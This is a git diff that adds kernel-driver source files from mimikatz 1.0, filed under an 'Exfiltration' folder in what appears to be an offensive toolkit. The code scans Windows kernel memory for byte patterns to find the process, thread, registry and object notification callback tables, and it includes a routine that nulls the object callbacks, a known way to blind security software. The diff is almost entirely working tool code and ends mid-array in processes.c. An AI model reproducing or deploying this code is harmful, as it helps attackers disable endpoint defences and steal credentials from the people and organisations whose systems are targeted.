b/Exfiltration/mimikatz-1.0/driver/notify_object.c @@ -0,0 +1,173 @@ +#include "notify_object.h" + +POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; + +const WCHAR *procCallToName[] = { + L"Dump ", + L"Open ", + L"Close ", + L"Delete ", + L"Parse ", + L"Security ", + L"QueryName ", + L"OkayToClose", +}; + +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); +} + +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); +} + +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) +{ + NTSTATUS status; + ULONG i, j; + POBJECT_DIRECTORY_ENTRY monEntree; + POBJECT_TYPE monType, monTypeDecal; + PVOID * miniProc; + POBJECT_CALLBACK_ENTRY pStruct; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); + + if(NT_SUCCESS(status)) + { + status = getObpTypeDirectoryObject(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) + { + if((*ObpTypeDirectoryObject)->HashBuckets[i]) + { + for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) + { + if(monType = monEntree->Object) + { + if(INDEX_OS < INDEX_VISTA) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); + + if(action == ListNotif) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); + for(j = 0; (j < 8) && NT_SUCCESS(status); j++) + { + miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j + #ifdef _M_IX86 + - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) + #endif + ); + if(*miniProc) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + if(INDEX_OS >= INDEX_VISTA) + { + if(INDEX_OS < INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); + else if (INDEX_OS > INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks + + for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) + { + if(pStruct->PreOperation || pStruct->PostOperation) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + + if(action == ClearNotif) + { + pStruct->PreOperation = NULL; + pStruct->PostOperation = NULL; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); + } + } + } + } + } + } + } + } + } + } + return status; +} + +NTSTATUS getObpTypeDirectoryObject() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; + #elif defined _M_IX86 + UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + #endif + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + + if(ObpTypeDirectoryObject) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); + if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refFin = refDebut + PAGE_SIZE; + + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + offsetTo = OFFS_WNT5_Object; + else + { + offsetTo = OFFS_WNO8_Object; + #ifdef _M_X64 + refFin = refDebut - PAGE_SIZE; + #endif + } + } + else + offsetTo = OFFS_WIN8_Object; + + retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); + } + } + return retour; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h new file mode 100644 index 00000000..96d55176 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.h @@ -0,0 +1,79 @@ +#pragma once +#include "notify.h" + +#define OBJECT_HASH_TABLE_SIZE 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + struct _OBJECT_DIRECTORY_ENTRY *NextEntry; + PVOID Object; + ULONG HashValue; // pas en NT5 +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; + EX_PUSH_LOCK Lock; + PVOID DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; // a partir de l, diffrent en NT5, mais pas utilis... + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_TYPE_INITIALIZER // NT6, dcaler ULONG en NT5x86 (compens par l'alignement en x64) +{ + SHORT Length; + UCHAR ObjectTypeFlags; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_CALLBACK_ENTRY { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + ULONG Active; + /*OB_HANDLE*/ PVOID Handle; + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; +} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; + +typedef enum _KIWI_NOTIF_OBJECT_ACTION +{ + ListNotif, + ClearNotif +} KIWI_NOTIF_OBJECT_ACTION; + +POBJECT_DIRECTORY * ObpTypeDirectoryObject; + +NTSTATUS getObpTypeDirectoryObject(); +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c new file mode 100644 index 00000000..87cc3ed5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.c @@ -0,0 +1,137 @@ +#include "notify_process.h" + +ULONG * PspCreateProcessNotifyRoutineCount = NULL; +ULONG * PspCreateProcessNotifyRoutineExCount = NULL; +PVOID * PspCreateProcessNotifyRoutine = NULL; + +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + ULONG bonusCount; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateProcessNotifyRoutine(); + if(NT_SUCCESS(status)) + { + bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); + for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateProcessNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; + LONG OFFS_WNT5_Process = -4; + UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; + UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; + + PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = - 0x18; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; + LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; + UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; + UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); + + PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = - 0x20; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Process; + taille = sizeof(PTRN_WNT5_Process); + offsetTo = OFFS_WNT5_Process; + offsetToCount = OFFS_WNT5_Count; + } + else + { + pattern = PTRN_WNO8_Process; + taille = sizeof(PTRN_WNO8_Process); + offsetTo = OFFS_WNO8_Process; + offsetToCountEx = OFFS_WNO8_CountEx; + offsetToCount = OFFS_WNO8_Count; + } + refDebut = REF_D_WNO8_Process; + refFin = REF_F_WNO8_Process; + } + else + { + pattern = PTRN_WIN8_Process; + taille = sizeof(PTRN_WIN8_Process); + offsetTo = OFFS_WIN8_Process; + refDebut = REF_D_WIN8_Process; + refFin = REF_F_WIN8_Process; + offsetToCountEx = OFFS_WIN8_CountEx; + offsetToCount = OFFS_WIN8_Count; + } + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateProcessNotifyRoutine = (PVOID) (pointeur); + PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + if(INDEX_OS >= INDEX_VISTA) + PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h new file mode 100644 index 00000000..27cbe3a2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.h @@ -0,0 +1,12 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateProcessNotifyRoutine 64 +#define MAX_NT5_PspCreateProcessNotifyRoutine 8 + +ULONG * PspCreateProcessNotifyRoutineCount; +ULONG * PspCreateProcessNotifyRoutineExCount; +PVOID * PspCreateProcessNotifyRoutine; + +NTSTATUS getPspCreateProcessNotifyRoutine(); +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c new file mode 100644 index 00000000..843cfba7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.c @@ -0,0 +1,137 @@ +#include "notify_reg.h" + +ULONG * CmpCallBackCount = NULL; +PVOID * CmpCallBackVector = NULL; +PLIST_ENTRY CallbackListHead = NULL; + +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + PLIST_ENTRY maListe; + PKIWI_REGISTRY6_CALLBACK monCallBack6; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); + if(NT_SUCCESS(status)) + { + status = getNotifyRegistryRoutine(); + if(NT_SUCCESS(status)) + { + if(INDEX_OS < INDEX_VISTA) + { + for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) + ); + } + } + } + } + } + else + { + for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) + { + monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); + } + } + } + } + } + } + return status; +} + +NTSTATUS getNotifyRegistryRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; + UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; + + UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; + LONG OFFS_WN60_Head = -9; + UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; + LONG OFFS_WALL_Head = -9; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; + UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; + + UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; + LONG OFFS_WN60_Head = 12; + UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; + LONG OFFS_WN61_Head = -4; + UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; + LONG OFFS_WIN8_Head = -4; + #endif + PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; + PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + + if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); + if(NT_SUCCESS(retour)) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); + } + } + else + { + if(INDEX_OS < INDEX_7) + { + pattern = PTRN_WN60_Head; + taille = sizeof(PTRN_WN60_Head); + offsetTo= OFFS_WN60_Head; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WALL_Head; + taille = sizeof(PTRN_WALL_Head); + offsetTo= OFFS_WALL_Head; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WN61_Head; + taille = sizeof(PTRN_WN61_Head); + offsetTo= OFFS_WN61_Head; + } + else + { + pattern = PTRN_WIN8_Head; + taille = sizeof(PTRN_WIN8_Head); + offsetTo= OFFS_WIN8_Head; + } + #endif + } + retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h new file mode 100644 index 00000000..ce865683 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.h @@ -0,0 +1,17 @@ +#pragma once +#include "notify.h" + +ULONG * CmpCallBackCount; +PVOID * CmpCallBackVector; +PLIST_ENTRY CallbackListHead; + +typedef struct _KIWI_REGISTRY6_CALLBACK +{ + LARGE_INTEGER cookie; + PVOID context; + PVOID callback; + UNICODE_STRING altitude; +} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; + +NTSTATUS getNotifyRegistryRoutine(); +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c new file mode 100644 index 00000000..41436b00 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.c @@ -0,0 +1,111 @@ +#include "notify_thread.h" + +ULONG * PspCreateThreadNotifyRoutineCount = NULL; +PVOID * PspCreateThreadNotifyRoutine = NULL; + +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateThreadNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateThreadNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); + UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); + #elif defined _M_IX86 + UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; + LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); + UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; + LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); + #endif + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCount = 0; + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + #ifdef _M_X64 + pattern = PTRN_WNT5_Thread; + taille = sizeof(PTRN_WNT5_Thread); + offsetTo = OFFS_WNT5_Thread; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Thread; + taille = sizeof(PTRN_WNT6_Thread); + offsetTo = OFFS_WNT6_Thread; + #endif + offsetToCount = OFFS_WNT6_Count; + } + + #if defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Thread; + taille = sizeof(PTRN_WNO8_Thread); + offsetTo = OFFS_WNO8_Thread; + } + else + { + pattern = PTRN_WIN8_Thread; + taille = sizeof(PTRN_WIN8_Thread); + offsetTo = OFFS_WIN8_Thread; + } + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateThreadNotifyRoutine = (PVOID) (pointeur); + PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h new file mode 100644 index 00000000..22499b7e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.h @@ -0,0 +1,11 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateThreadNotifyRoutine 64 +#define MAX_NT5_PspCreateThreadNotifyRoutine 8 + +ULONG * PspCreateThreadNotifyRoutineCount; +PVOID * PspCreateThreadNotifyRoutine; + +NTSTATUS getPspCreateThreadNotifyRoutine(); +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c new file mode 100644 index 00000000..55e13abb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.c @@ -0,0 +1,146 @@ +#include "processes.h" + +const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = +{ + /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, +/* 